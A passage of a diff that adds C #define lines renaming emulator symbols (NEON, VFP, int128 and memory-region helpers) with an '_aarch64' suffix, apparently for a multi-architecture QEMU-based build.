helper_neon_cgt_u16_aarch64 +#define helper_neon_cgt_u32 helper_neon_cgt_u32_aarch64 +#define helper_neon_cgt_u8 helper_neon_cgt_u8_aarch64 +#define helper_neon_cls_s16 helper_neon_cls_s16_aarch64 +#define helper_neon_cls_s32 helper_neon_cls_s32_aarch64 +#define helper_neon_cls_s8 helper_neon_cls_s8_aarch64 +#define helper_neon_clz_u16 helper_neon_clz_u16_aarch64 +#define helper_neon_clz_u8 helper_neon_clz_u8_aarch64 +#define helper_neon_cnt_u8 helper_neon_cnt_u8_aarch64 +#define helper_neon_fcvt_f16_to_f32 helper_neon_fcvt_f16_to_f32_aarch64 +#define helper_neon_fcvt_f32_to_f16 helper_neon_fcvt_f32_to_f16_aarch64 +#define helper_neon_hadd_s16 helper_neon_hadd_s16_aarch64 +#define helper_neon_hadd_s32 helper_neon_hadd_s32_aarch64 +#define helper_neon_hadd_s8 helper_neon_hadd_s8_aarch64 +#define helper_neon_hadd_u16 helper_neon_hadd_u16_aarch64 +#define helper_neon_hadd_u32 helper_neon_hadd_u32_aarch64 +#define helper_neon_hadd_u8 helper_neon_hadd_u8_aarch64 +#define helper_neon_hsub_s16 helper_neon_hsub_s16_aarch64 +#define helper_neon_hsub_s32 helper_neon_hsub_s32_aarch64 +#define helper_neon_hsub_s8 helper_neon_hsub_s8_aarch64 +#define helper_neon_hsub_u16 helper_neon_hsub_u16_aarch64 +#define helper_neon_hsub_u32 helper_neon_hsub_u32_aarch64 +#define helper_neon_hsub_u8 helper_neon_hsub_u8_aarch64 +#define helper_neon_max_s16 helper_neon_max_s16_aarch64 +#define helper_neon_max_s32 helper_neon_max_s32_aarch64 +#define helper_neon_max_s8 helper_neon_max_s8_aarch64 +#define helper_neon_max_u16 helper_neon_max_u16_aarch64 +#define helper_neon_max_u32 helper_neon_max_u32_aarch64 +#define helper_neon_max_u8 helper_neon_max_u8_aarch64 +#define helper_neon_min_s16 helper_neon_min_s16_aarch64 +#define helper_neon_min_s32 helper_neon_min_s32_aarch64 +#define helper_neon_min_s8 helper_neon_min_s8_aarch64 +#define helper_neon_min_u16 helper_neon_min_u16_aarch64 +#define helper_neon_min_u32 helper_neon_min_u32_aarch64 +#define helper_neon_min_u8 helper_neon_min_u8_aarch64 +#define helper_neon_mull_p8 helper_neon_mull_p8_aarch64 +#define helper_neon_mull_s16 helper_neon_mull_s16_aarch64 +#define helper_neon_mull_s8 helper_neon_mull_s8_aarch64 +#define helper_neon_mull_u16 helper_neon_mull_u16_aarch64 +#define helper_neon_mull_u8 helper_neon_mull_u8_aarch64 +#define helper_neon_mul_p8 helper_neon_mul_p8_aarch64 +#define helper_neon_mul_u16 helper_neon_mul_u16_aarch64 +#define helper_neon_mul_u8 helper_neon_mul_u8_aarch64 +#define helper_neon_narrow_high_u16 helper_neon_narrow_high_u16_aarch64 +#define helper_neon_narrow_high_u8 helper_neon_narrow_high_u8_aarch64 +#define helper_neon_narrow_round_high_u16 helper_neon_narrow_round_high_u16_aarch64 +#define helper_neon_narrow_round_high_u8 helper_neon_narrow_round_high_u8_aarch64 +#define helper_neon_narrow_sat_s16 helper_neon_narrow_sat_s16_aarch64 +#define helper_neon_narrow_sat_s32 helper_neon_narrow_sat_s32_aarch64 +#define helper_neon_narrow_sat_s8 helper_neon_narrow_sat_s8_aarch64 +#define helper_neon_narrow_sat_u16 helper_neon_narrow_sat_u16_aarch64 +#define helper_neon_narrow_sat_u32 helper_neon_narrow_sat_u32_aarch64 +#define helper_neon_narrow_sat_u8 helper_neon_narrow_sat_u8_aarch64 +#define helper_neon_narrow_u16 helper_neon_narrow_u16_aarch64 +#define helper_neon_narrow_u8 helper_neon_narrow_u8_aarch64 +#define helper_neon_negl_u16 helper_neon_negl_u16_aarch64 +#define helper_neon_negl_u32 helper_neon_negl_u32_aarch64 +#define helper_neon_paddl_u16 helper_neon_paddl_u16_aarch64 +#define helper_neon_paddl_u32 helper_neon_paddl_u32_aarch64 +#define helper_neon_padd_u16 helper_neon_padd_u16_aarch64 +#define helper_neon_padd_u8 helper_neon_padd_u8_aarch64 +#define helper_neon_pmax_s16 helper_neon_pmax_s16_aarch64 +#define helper_neon_pmax_s8 helper_neon_pmax_s8_aarch64 +#define helper_neon_pmax_u16 helper_neon_pmax_u16_aarch64 +#define helper_neon_pmax_u8 helper_neon_pmax_u8_aarch64 +#define helper_neon_pmin_s16 helper_neon_pmin_s16_aarch64 +#define helper_neon_pmin_s8 helper_neon_pmin_s8_aarch64 +#define helper_neon_pmin_u16 helper_neon_pmin_u16_aarch64 +#define helper_neon_pmin_u8 helper_neon_pmin_u8_aarch64 +#define helper_neon_pmull_64_hi helper_neon_pmull_64_hi_aarch64 +#define helper_neon_pmull_64_lo helper_neon_pmull_64_lo_aarch64 +#define helper_neon_qabs_s16 helper_neon_qabs_s16_aarch64 +#define helper_neon_qabs_s32 helper_neon_qabs_s32_aarch64 +#define helper_neon_qabs_s64 helper_neon_qabs_s64_aarch64 +#define helper_neon_qabs_s8 helper_neon_qabs_s8_aarch64 +#define helper_neon_qadd_s16 helper_neon_qadd_s16_aarch64 +#define helper_neon_qadd_s32 helper_neon_qadd_s32_aarch64 +#define helper_neon_qadd_s64 helper_neon_qadd_s64_aarch64 +#define helper_neon_qadd_s8 helper_neon_qadd_s8_aarch64 +#define helper_neon_qadd_u16 helper_neon_qadd_u16_aarch64 +#define helper_neon_qadd_u32 helper_neon_qadd_u32_aarch64 +#define helper_neon_qadd_u64 helper_neon_qadd_u64_aarch64 +#define helper_neon_qadd_u8 helper_neon_qadd_u8_aarch64 +#define helper_neon_qdmulh_s16 helper_neon_qdmulh_s16_aarch64 +#define helper_neon_qdmulh_s32 helper_neon_qdmulh_s32_aarch64 +#define helper_neon_qneg_s16 helper_neon_qneg_s16_aarch64 +#define helper_neon_qneg_s32 helper_neon_qneg_s32_aarch64 +#define helper_neon_qneg_s64 helper_neon_qneg_s64_aarch64 +#define helper_neon_qneg_s8 helper_neon_qneg_s8_aarch64 +#define helper_neon_qrdmulh_s16 helper_neon_qrdmulh_s16_aarch64 +#define helper_neon_qrdmulh_s32 helper_neon_qrdmulh_s32_aarch64 +#define helper_neon_qrshl_s16 helper_neon_qrshl_s16_aarch64 +#define helper_neon_qrshl_s32 helper_neon_qrshl_s32_aarch64 +#define helper_neon_qrshl_s64 helper_neon_qrshl_s64_aarch64 +#define helper_neon_qrshl_s8 helper_neon_qrshl_s8_aarch64 +#define helper_neon_qrshl_u16 helper_neon_qrshl_u16_aarch64 +#define helper_neon_qrshl_u32 helper_neon_qrshl_u32_aarch64 +#define helper_neon_qrshl_u64 helper_neon_qrshl_u64_aarch64 +#define helper_neon_qrshl_u8 helper_neon_qrshl_u8_aarch64 +#define helper_neon_qshl_s16 helper_neon_qshl_s16_aarch64 +#define helper_neon_qshl_s32 helper_neon_qshl_s32_aarch64 +#define helper_neon_qshl_s64 helper_neon_qshl_s64_aarch64 +#define helper_neon_qshl_s8 helper_neon_qshl_s8_aarch64 +#define helper_neon_qshl_u16 helper_neon_qshl_u16_aarch64 +#define helper_neon_qshl_u32 helper_neon_qshl_u32_aarch64 +#define helper_neon_qshl_u64 helper_neon_qshl_u64_aarch64 +#define helper_neon_qshl_u8 helper_neon_qshl_u8_aarch64 +#define helper_neon_qshlu_s16 helper_neon_qshlu_s16_aarch64 +#define helper_neon_qshlu_s32 helper_neon_qshlu_s32_aarch64 +#define helper_neon_qshlu_s64 helper_neon_qshlu_s64_aarch64 +#define helper_neon_qshlu_s8 helper_neon_qshlu_s8_aarch64 +#define helper_neon_qsub_s16 helper_neon_qsub_s16_aarch64 +#define helper_neon_qsub_s32 helper_neon_qsub_s32_aarch64 +#define helper_neon_qsub_s64 helper_neon_qsub_s64_aarch64 +#define helper_neon_qsub_s8 helper_neon_qsub_s8_aarch64 +#define helper_neon_qsub_u16 helper_neon_qsub_u16_aarch64 +#define helper_neon_qsub_u32 helper_neon_qsub_u32_aarch64 +#define helper_neon_qsub_u64 helper_neon_qsub_u64_aarch64 +#define helper_neon_qsub_u8 helper_neon_qsub_u8_aarch64 +#define helper_neon_qunzip16 helper_neon_qunzip16_aarch64 +#define helper_neon_qunzip32 helper_neon_qunzip32_aarch64 +#define helper_neon_qunzip8 helper_neon_qunzip8_aarch64 +#define helper_neon_qzip16 helper_neon_qzip16_aarch64 +#define helper_neon_qzip32 helper_neon_qzip32_aarch64 +#define helper_neon_qzip8 helper_neon_qzip8_aarch64 +#define helper_neon_rbit_u8 helper_neon_rbit_u8_aarch64 +#define helper_neon_rhadd_s16 helper_neon_rhadd_s16_aarch64 +#define helper_neon_rhadd_s32 helper_neon_rhadd_s32_aarch64 +#define helper_neon_rhadd_s8 helper_neon_rhadd_s8_aarch64 +#define helper_neon_rhadd_u16 helper_neon_rhadd_u16_aarch64 +#define helper_neon_rhadd_u32 helper_neon_rhadd_u32_aarch64 +#define helper_neon_rhadd_u8 helper_neon_rhadd_u8_aarch64 +#define helper_neon_rshl_s16 helper_neon_rshl_s16_aarch64 +#define helper_neon_rshl_s32 helper_neon_rshl_s32_aarch64 +#define helper_neon_rshl_s64 helper_neon_rshl_s64_aarch64 +#define helper_neon_rshl_s8 helper_neon_rshl_s8_aarch64 +#define helper_neon_rshl_u16 helper_neon_rshl_u16_aarch64 +#define helper_neon_rshl_u32 helper_neon_rshl_u32_aarch64 +#define helper_neon_rshl_u64 helper_neon_rshl_u64_aarch64 +#define helper_neon_rshl_u8 helper_neon_rshl_u8_aarch64 +#define helper_neon_shl_s16 helper_neon_shl_s16_aarch64 +#define helper_neon_shl_s32 helper_neon_shl_s32_aarch64 +#define helper_neon_shl_s64 helper_neon_shl_s64_aarch64 +#define helper_neon_shl_s8 helper_neon_shl_s8_aarch64 +#define helper_neon_shl_u16 helper_neon_shl_u16_aarch64 +#define helper_neon_shl_u32 helper_neon_shl_u32_aarch64 +#define helper_neon_shl_u64 helper_neon_shl_u64_aarch64 +#define helper_neon_shl_u8 helper_neon_shl_u8_aarch64 +#define helper_neon_sqadd_u16 helper_neon_sqadd_u16_aarch64 +#define helper_neon_sqadd_u32 helper_neon_sqadd_u32_aarch64 +#define helper_neon_sqadd_u64 helper_neon_sqadd_u64_aarch64 +#define helper_neon_sqadd_u8 helper_neon_sqadd_u8_aarch64 +#define helper_neon_subl_u16 helper_neon_subl_u16_aarch64 +#define helper_neon_subl_u32 helper_neon_subl_u32_aarch64 +#define helper_neon_sub_u16 helper_neon_sub_u16_aarch64 +#define helper_neon_sub_u8 helper_neon_sub_u8_aarch64 +#define helper_neon_tbl helper_neon_tbl_aarch64 +#define helper_neon_tst_u16 helper_neon_tst_u16_aarch64 +#define helper_neon_tst_u32 helper_neon_tst_u32_aarch64 +#define helper_neon_tst_u8 helper_neon_tst_u8_aarch64 +#define helper_neon_unarrow_sat16 helper_neon_unarrow_sat16_aarch64 +#define helper_neon_unarrow_sat32 helper_neon_unarrow_sat32_aarch64 +#define helper_neon_unarrow_sat8 helper_neon_unarrow_sat8_aarch64 +#define helper_neon_unzip16 helper_neon_unzip16_aarch64 +#define helper_neon_unzip8 helper_neon_unzip8_aarch64 +#define helper_neon_uqadd_s16 helper_neon_uqadd_s16_aarch64 +#define helper_neon_uqadd_s32 helper_neon_uqadd_s32_aarch64 +#define helper_neon_uqadd_s64 helper_neon_uqadd_s64_aarch64 +#define helper_neon_uqadd_s8 helper_neon_uqadd_s8_aarch64 +#define helper_neon_widen_s16 helper_neon_widen_s16_aarch64 +#define helper_neon_widen_s8 helper_neon_widen_s8_aarch64 +#define helper_neon_widen_u16 helper_neon_widen_u16_aarch64 +#define helper_neon_widen_u8 helper_neon_widen_u8_aarch64 +#define helper_neon_zip16 helper_neon_zip16_aarch64 +#define helper_neon_zip8 helper_neon_zip8_aarch64 +#define helper_pre_hvc helper_pre_hvc_aarch64 +#define helper_pre_smc helper_pre_smc_aarch64 +#define helper_qadd16 helper_qadd16_aarch64 +#define helper_qadd8 helper_qadd8_aarch64 +#define helper_qaddsubx helper_qaddsubx_aarch64 +#define helper_qsub16 helper_qsub16_aarch64 +#define helper_qsub8 helper_qsub8_aarch64 +#define helper_qsubaddx helper_qsubaddx_aarch64 +#define helper_rbit helper_rbit_aarch64 +#define helper_recpe_f32 helper_recpe_f32_aarch64 +#define helper_recpe_f64 helper_recpe_f64_aarch64 +#define helper_recpe_u32 helper_recpe_u32_aarch64 +#define helper_recps_f32 helper_recps_f32_aarch64 +#define helper_ret_ldb_cmmu helper_ret_ldb_cmmu_aarch64 +#define helper_ret_ldsb_mmu helper_ret_ldsb_mmu_aarch64 +#define helper_ret_ldub_mmu helper_ret_ldub_mmu_aarch64 +#define helper_ret_stb_mmu helper_ret_stb_mmu_aarch64 +#define helper_rintd helper_rintd_aarch64 +#define helper_rintd_exact helper_rintd_exact_aarch64 +#define helper_rints helper_rints_aarch64 +#define helper_rints_exact helper_rints_exact_aarch64 +#define helper_ror_cc helper_ror_cc_aarch64 +#define helper_rsqrte_f32 helper_rsqrte_f32_aarch64 +#define helper_rsqrte_f64 helper_rsqrte_f64_aarch64 +#define helper_rsqrte_u32 helper_rsqrte_u32_aarch64 +#define helper_rsqrts_f32 helper_rsqrts_f32_aarch64 +#define helper_sadd16 helper_sadd16_aarch64 +#define helper_sadd8 helper_sadd8_aarch64 +#define helper_saddsubx helper_saddsubx_aarch64 +#define helper_sar_cc helper_sar_cc_aarch64 +#define helper_sdiv helper_sdiv_aarch64 +#define helper_sel_flags helper_sel_flags_aarch64 +#define helper_set_cp_reg helper_set_cp_reg_aarch64 +#define helper_set_cp_reg64 helper_set_cp_reg64_aarch64 +#define helper_set_neon_rmode helper_set_neon_rmode_aarch64 +#define helper_set_r13_banked helper_set_r13_banked_aarch64 +#define helper_set_rmode helper_set_rmode_aarch64 +#define helper_set_user_reg helper_set_user_reg_aarch64 +#define helper_shadd16 helper_shadd16_aarch64 +#define helper_shadd8 helper_shadd8_aarch64 +#define helper_shaddsubx helper_shaddsubx_aarch64 +#define helper_shl_cc helper_shl_cc_aarch64 +#define helper_shr_cc helper_shr_cc_aarch64 +#define helper_shsub16 helper_shsub16_aarch64 +#define helper_shsub8 helper_shsub8_aarch64 +#define helper_shsubaddx helper_shsubaddx_aarch64 +#define helper_ssat helper_ssat_aarch64 +#define helper_ssat16 helper_ssat16_aarch64 +#define helper_ssub16 helper_ssub16_aarch64 +#define helper_ssub8 helper_ssub8_aarch64 +#define helper_ssubaddx helper_ssubaddx_aarch64 +#define helper_stb_mmu helper_stb_mmu_aarch64 +#define helper_stl_mmu helper_stl_mmu_aarch64 +#define helper_stq_mmu helper_stq_mmu_aarch64 +#define helper_stw_mmu helper_stw_mmu_aarch64 +#define helper_sub_saturate helper_sub_saturate_aarch64 +#define helper_sub_usaturate helper_sub_usaturate_aarch64 +#define helper_sxtb16 helper_sxtb16_aarch64 +#define helper_uadd16 helper_uadd16_aarch64 +#define helper_uadd8 helper_uadd8_aarch64 +#define helper_uaddsubx helper_uaddsubx_aarch64 +#define helper_udiv helper_udiv_aarch64 +#define helper_uhadd16 helper_uhadd16_aarch64 +#define helper_uhadd8 helper_uhadd8_aarch64 +#define helper_uhaddsubx helper_uhaddsubx_aarch64 +#define helper_uhsub16 helper_uhsub16_aarch64 +#define helper_uhsub8 helper_uhsub8_aarch64 +#define helper_uhsubaddx helper_uhsubaddx_aarch64 +#define helper_uqadd16 helper_uqadd16_aarch64 +#define helper_uqadd8 helper_uqadd8_aarch64 +#define helper_uqaddsubx helper_uqaddsubx_aarch64 +#define helper_uqsub16 helper_uqsub16_aarch64 +#define helper_uqsub8 helper_uqsub8_aarch64 +#define helper_uqsubaddx helper_uqsubaddx_aarch64 +#define helper_usad8 helper_usad8_aarch64 +#define helper_usat helper_usat_aarch64 +#define helper_usat16 helper_usat16_aarch64 +#define helper_usub16 helper_usub16_aarch64 +#define helper_usub8 helper_usub8_aarch64 +#define helper_usubaddx helper_usubaddx_aarch64 +#define helper_uxtb16 helper_uxtb16_aarch64 +#define helper_v7m_mrs helper_v7m_mrs_aarch64 +#define helper_v7m_msr helper_v7m_msr_aarch64 +#define helper_vfp_absd helper_vfp_absd_aarch64 +#define helper_vfp_abss helper_vfp_abss_aarch64 +#define helper_vfp_addd helper_vfp_addd_aarch64 +#define helper_vfp_adds helper_vfp_adds_aarch64 +#define helper_vfp_cmpd helper_vfp_cmpd_aarch64 +#define helper_vfp_cmped helper_vfp_cmped_aarch64 +#define helper_vfp_cmpes helper_vfp_cmpes_aarch64 +#define helper_vfp_cmps helper_vfp_cmps_aarch64 +#define helper_vfp_divd helper_vfp_divd_aarch64 +#define helper_vfp_divs helper_vfp_divs_aarch64 +#define helper_vfp_fcvtds helper_vfp_fcvtds_aarch64 +#define helper_vfp_fcvt_f16_to_f32 helper_vfp_fcvt_f16_to_f32_aarch64 +#define helper_vfp_fcvt_f16_to_f64 helper_vfp_fcvt_f16_to_f64_aarch64 +#define helper_vfp_fcvt_f32_to_f16 helper_vfp_fcvt_f32_to_f16_aarch64 +#define helper_vfp_fcvt_f64_to_f16 helper_vfp_fcvt_f64_to_f16_aarch64 +#define helper_vfp_fcvtsd helper_vfp_fcvtsd_aarch64 +#define helper_vfp_get_fpscr helper_vfp_get_fpscr_aarch64 +#define helper_vfp_maxd helper_vfp_maxd_aarch64 +#define helper_vfp_maxnumd helper_vfp_maxnumd_aarch64 +#define helper_vfp_maxnums helper_vfp_maxnums_aarch64 +#define helper_vfp_maxs helper_vfp_maxs_aarch64 +#define helper_vfp_mind helper_vfp_mind_aarch64 +#define helper_vfp_minnumd helper_vfp_minnumd_aarch64 +#define helper_vfp_minnums helper_vfp_minnums_aarch64 +#define helper_vfp_mins helper_vfp_mins_aarch64 +#define helper_vfp_muladdd helper_vfp_muladdd_aarch64 +#define helper_vfp_muladds helper_vfp_muladds_aarch64 +#define helper_vfp_muld helper_vfp_muld_aarch64 +#define helper_vfp_muls helper_vfp_muls_aarch64 +#define helper_vfp_negd helper_vfp_negd_aarch64 +#define helper_vfp_negs helper_vfp_negs_aarch64 +#define helper_vfp_set_fpscr helper_vfp_set_fpscr_aarch64 +#define helper_vfp_shtod helper_vfp_shtod_aarch64 +#define helper_vfp_shtos helper_vfp_shtos_aarch64 +#define helper_vfp_sitod helper_vfp_sitod_aarch64 +#define helper_vfp_sitos helper_vfp_sitos_aarch64 +#define helper_vfp_sltod helper_vfp_sltod_aarch64 +#define helper_vfp_sltos helper_vfp_sltos_aarch64 +#define helper_vfp_sqrtd helper_vfp_sqrtd_aarch64 +#define helper_vfp_sqrts helper_vfp_sqrts_aarch64 +#define helper_vfp_sqtod helper_vfp_sqtod_aarch64 +#define helper_vfp_sqtos helper_vfp_sqtos_aarch64 +#define helper_vfp_subd helper_vfp_subd_aarch64 +#define helper_vfp_subs helper_vfp_subs_aarch64 +#define helper_vfp_toshd helper_vfp_toshd_aarch64 +#define helper_vfp_toshd_round_to_zero helper_vfp_toshd_round_to_zero_aarch64 +#define helper_vfp_toshs helper_vfp_toshs_aarch64 +#define helper_vfp_toshs_round_to_zero helper_vfp_toshs_round_to_zero_aarch64 +#define helper_vfp_tosid helper_vfp_tosid_aarch64 +#define helper_vfp_tosis helper_vfp_tosis_aarch64 +#define helper_vfp_tosizd helper_vfp_tosizd_aarch64 +#define helper_vfp_tosizs helper_vfp_tosizs_aarch64 +#define helper_vfp_tosld helper_vfp_tosld_aarch64 +#define helper_vfp_tosld_round_to_zero helper_vfp_tosld_round_to_zero_aarch64 +#define helper_vfp_tosls helper_vfp_tosls_aarch64 +#define helper_vfp_tosls_round_to_zero helper_vfp_tosls_round_to_zero_aarch64 +#define helper_vfp_tosqd helper_vfp_tosqd_aarch64 +#define helper_vfp_tosqs helper_vfp_tosqs_aarch64 +#define helper_vfp_touhd helper_vfp_touhd_aarch64 +#define helper_vfp_touhd_round_to_zero helper_vfp_touhd_round_to_zero_aarch64 +#define helper_vfp_touhs helper_vfp_touhs_aarch64 +#define helper_vfp_touhs_round_to_zero helper_vfp_touhs_round_to_zero_aarch64 +#define helper_vfp_touid helper_vfp_touid_aarch64 +#define helper_vfp_touis helper_vfp_touis_aarch64 +#define helper_vfp_touizd helper_vfp_touizd_aarch64 +#define helper_vfp_touizs helper_vfp_touizs_aarch64 +#define helper_vfp_tould helper_vfp_tould_aarch64 +#define helper_vfp_tould_round_to_zero helper_vfp_tould_round_to_zero_aarch64 +#define helper_vfp_touls helper_vfp_touls_aarch64 +#define helper_vfp_touls_round_to_zero helper_vfp_touls_round_to_zero_aarch64 +#define helper_vfp_touqd helper_vfp_touqd_aarch64 +#define helper_vfp_touqs helper_vfp_touqs_aarch64 +#define helper_vfp_uhtod helper_vfp_uhtod_aarch64 +#define helper_vfp_uhtos helper_vfp_uhtos_aarch64 +#define helper_vfp_uitod helper_vfp_uitod_aarch64 +#define helper_vfp_uitos helper_vfp_uitos_aarch64 +#define helper_vfp_ultod helper_vfp_ultod_aarch64 +#define helper_vfp_ultos helper_vfp_ultos_aarch64 +#define helper_vfp_uqtod helper_vfp_uqtod_aarch64 +#define helper_vfp_uqtos helper_vfp_uqtos_aarch64 +#define helper_wfe helper_wfe_aarch64 +#define helper_wfi helper_wfi_aarch64 +#define hex2decimal hex2decimal_aarch64 +#define hw_breakpoint_update hw_breakpoint_update_aarch64 +#define hw_breakpoint_update_all hw_breakpoint_update_all_aarch64 +#define hw_watchpoint_update hw_watchpoint_update_aarch64 +#define hw_watchpoint_update_all hw_watchpoint_update_all_aarch64 +#define _init _init_aarch64 +#define init_cpreg_list init_cpreg_list_aarch64 +#define init_lists init_lists_aarch64 +#define input_type_enum input_type_enum_aarch64 +#define int128_2_64 int128_2_64_aarch64 +#define int128_add int128_add_aarch64 +#define int128_addto int128_addto_aarch64 +#define int128_and int128_and_aarch64 +#define int128_eq int128_eq_aarch64 +#define int128_ge int128_ge_aarch64 +#define int128_get64 int128_get64_aarch64 +#define int128_gt int128_gt_aarch64 +#define int128_le int128_le_aarch64 +#define int128_lt int128_lt_aarch64 +#define int128_make64 int128_make64_aarch64 +#define int128_max int128_max_aarch64 +#define int128_min int128_min_aarch64 +#define int128_ne int128_ne_aarch64 +#define int128_neg int128_neg_aarch64 +#define int128_nz int128_nz_aarch64 +#define int128_rshift int128_rshift_aarch64 +#define int128_sub int128_sub_aarch64 +#define int128_subfrom int128_subfrom_aarch64 +#define int128_zero int128_zero_aarch64 +#define int16_to_float32 int16_to_float32_aarch64 +#define int16_to_float64 int16_to_float64_aarch64 +#define int32_to_float128 int32_to_float128_aarch64 +#define int32_to_float32 int32_to_float32_aarch64 +#define int32_to_float64 int32_to_float64_aarch64 +#define int32_to_floatx80 int32_to_floatx80_aarch64 +#define int64_to_float128 int64_to_float128_aarch64 +#define int64_to_float32 int64_to_float32_aarch64 +#define int64_to_float64 int64_to_float64_aarch64 +#define int64_to_floatx80 int64_to_floatx80_aarch64 +#define invalidate_and_set_dirty invalidate_and_set_dirty_aarch64 +#define invalidate_page_bitmap invalidate_page_bitmap_aarch64 +#define io_mem_read io_mem_read_aarch64 +#define io_mem_write io_mem_write_aarch64 +#define io_readb io_readb_aarch64 +#define io_readl io_readl_aarch64 +#define io_readq io_readq_aarch64 +#define io_readw io_readw_aarch64 +#define iotlb_to_region iotlb_to_region_aarch64 +#define io_writeb io_writeb_aarch64 +#define io_writel io_writel_aarch64 +#define io_writeq io_writeq_aarch64 +#define io_writew io_writew_aarch64 +#define is_a64 is_a64_aarch64 +#define is_help_option is_help_option_aarch64 +#define isr_read isr_read_aarch64 +#define is_valid_option_list is_valid_option_list_aarch64 +#define iwmmxt_load_creg iwmmxt_load_creg_aarch64 +#define iwmmxt_load_reg iwmmxt_load_reg_aarch64 +#define iwmmxt_store_creg iwmmxt_store_creg_aarch64 +#define iwmmxt_store_reg iwmmxt_store_reg_aarch64 +#define __jit_debug_descriptor __jit_debug_descriptor_aarch64 +#define __jit_debug_register_code __jit_debug_register_code_aarch64 +#define kvm_to_cpreg_id kvm_to_cpreg_id_aarch64 +#define last_ram_offset last_ram_offset_aarch64 +#define ldl_be_p ldl_be_p_aarch64 +#define ldl_be_phys ldl_be_phys_aarch64 +#define ldl_he_p ldl_he_p_aarch64 +#define ldl_le_p ldl_le_p_aarch64 +#define ldl_le_phys ldl_le_phys_aarch64 +#define ldl_phys ldl_phys_aarch64 +#define ldl_phys_internal ldl_phys_internal_aarch64 +#define ldq_be_p ldq_be_p_aarch64 +#define ldq_be_phys ldq_be_phys_aarch64 +#define ldq_he_p ldq_he_p_aarch64 +#define ldq_le_p ldq_le_p_aarch64 +#define ldq_le_phys ldq_le_phys_aarch64 +#define ldq_phys ldq_phys_aarch64 +#define ldq_phys_internal ldq_phys_internal_aarch64 +#define ldst_name ldst_name_aarch64 +#define ldub_p ldub_p_aarch64 +#define ldub_phys ldub_phys_aarch64 +#define lduw_be_p lduw_be_p_aarch64 +#define lduw_be_phys lduw_be_phys_aarch64 +#define lduw_he_p lduw_he_p_aarch64 +#define lduw_le_p lduw_le_p_aarch64 +#define lduw_le_phys lduw_le_phys_aarch64 +#define lduw_phys lduw_phys_aarch64 +#define lduw_phys_internal lduw_phys_internal_aarch64 +#define le128 le128_aarch64 +#define linked_bp_matches linked_bp_matches_aarch64 +#define listener_add_address_space listener_add_address_space_aarch64 +#define load_cpu_offset load_cpu_offset_aarch64 +#define load_reg load_reg_aarch64 +#define load_reg_var load_reg_var_aarch64 +#define log_cpu_state log_cpu_state_aarch64 +#define lpae_cp_reginfo lpae_cp_reginfo_aarch64 +#define lt128 lt128_aarch64 +#define machine_class_init machine_class_init_aarch64 +#define machine_finalize machine_finalize_aarch64 +#define machine_info machine_info_aarch64 +#define machine_initfn machine_initfn_aarch64 +#define machine_register_types machine_register_types_aarch64 +#define machvirt_init machvirt_init_aarch64 +#define machvirt_machine_init machvirt_machine_init_aarch64 +#define maj maj_aarch64 +#define mapping_conflict mapping_conflict_aarch64 +#define mapping_contiguous mapping_contiguous_aarch64 +#define mapping_have_same_region mapping_have_same_region_aarch64 +#define mapping_merge mapping_merge_aarch64 +#define mem_add mem_add_aarch64 +#define mem_begin mem_begin_aarch64 +#define mem_commit mem_commit_aarch64 +#define memory_access_is_direct memory_access_is_direct_aarch64 +#define memory_access_size memory_access_size_aarch64 +#define memory_init memory_init_aarch64 +#define memory_listener_match memory_listener_match_aarch64 +#define memory_listener_register memory_listener_register_aarch64 +#define memory_listener_unregister memory_listener_unregister_aarch64 +#define memory_map_init memory_map_init_aarch64 +#define memory_mapping_filter memory_mapping_filter_aarch64 +#define memory_mapping_list_add_mapping_sorted memory_mapping_list_add_mapping_sorted_aarch64 +#define memory_mapping_list_add_merge_sorted memory_mapping_list_add_merge_sorted_aarch64 +#define memory_mapping_list_free memory_mapping_list_free_aarch64 +#define memory_mapping_list_init memory_mapping_list_init_aarch64 +#define memory_region_access_valid memory_region_access_valid_aarch64 +#define memory_region_add_subregion memory_region_add_subregion_aarch64 +#define memory_region_add_subregion_common memory_region_add_subregion_common_aarch64 +#define memory_region_add_subregion_overlap memory_region_add_subregion_overlap_aarch64 +#define memory_region_big_endian memory_region_big_endian_aarch64 +#define memory_region_clear_pending memory_region_clear_pending_aarch64 +#define memory_region_del_subregion memory_region_del_subregion_aarch64 +#define memory_region_destructor_alias memory_region_destructor_alias_aarch64 +#define memory_region_destructor_none memory_region_destructor_none_aarch64 +#define memory_region_destructor_ram memory_region_destructor_ram_aarch64 +#define memory_region_destructor_ram_from_ptr memory_region_destructor_ram_from_ptr_aarch64 +#define memory_region_dispatch_read memory_region_dispatch_read_aarch64 +#define memory_region_dispatch_read1 memory_region_dispatch_read1_aarch64 +#define memory_region_dispatch_write memory_region_dispatch_write_aarch64 +#define memory_region_escape_name memory_region_escape_name_aarch64 +#define memory_region_finalize memory_region_finalize_aarch64 +#define memory_region_find memory_region_find_aarch64 +#define memory_region_get_addr memory_region_get_addr_aarch64 +#define memory_region_get_alignment memory_region_get_alignment_aarch64 +#define memory_region_get_container memory_region_get_container_aarch64 +#define memory_region_get_fd memory_region_get_fd_aarch64 +#define memory_region_get_may_overlap memory_region_get_may_overlap_aarch64 +#define memory_region_get_priority memory_region_get_priority_aarch64 +#define memory_region_get_ram_addr memory_region_get_ram_addr_aarch64 +#define memory_region_get_ram_ptr memory_region_get_ram_ptr_aarch64 +#define memory_region_get_size memory_region_get_size_aarch64 +#define memory_region_info memory_region_info_aarch64 +#define memory_region_init memory_region_init_aarch64 +#define memory_region_init_alias memory_region_init_alias_aarch64 +#define memory_region_initfn memory_region_initfn_aarch64 +#define memory_region_init_io memory_region_init_io_aarch64 +#define memory_region_init_ram memory_region_init_ram_aarch64 +#define memory_region_init_ram_ptr memory_region_init_ram_ptr_aarch64 +#define memory_region_init_reservation memory_region_init_reservation_aarch64 +#define memory_region_is_iommu memory_region_is_iommu_aarch64 +#define memory_region_is_logging memory_region_is_logging_aarch64 +#define memory_region_is_mapped memory_region_is_mapped_aarch64 +#define memory_region_is_ram memory_region_is_ram_aarch64 +#define memory_region_is_rom memory_region_is_rom_aarch64 +#define memory_region_is_romd memory_region_is_romd_aarch64 +#define memory_region_is_skip_dump memory_region_is_skip_dump_aarch64 +#define memory_region_is_unassigned memory_region_is_unassigned_aarch64 +#define memory_region_name memory_region_name_aarch64 +#define memory_region_need_escape memory_region_need_escape_aarch64 +#define memory_region_oldmmio_read_accessor memory_region_oldmmio_read_accessor_aarch64 +#define memory_region_oldmmio_write_accessor memory_region_oldmmio_write_accessor_aarch64 +#define memory_region_present memory_region_present_aarch64 +#define memory_region_read_accessor memory_region_read_accessor_aarch64 +#define memory_region_readd_subregion memory_region_readd_subregion_aarch64 +#define memory_region_ref memory_region_ref_aarch64 +#define 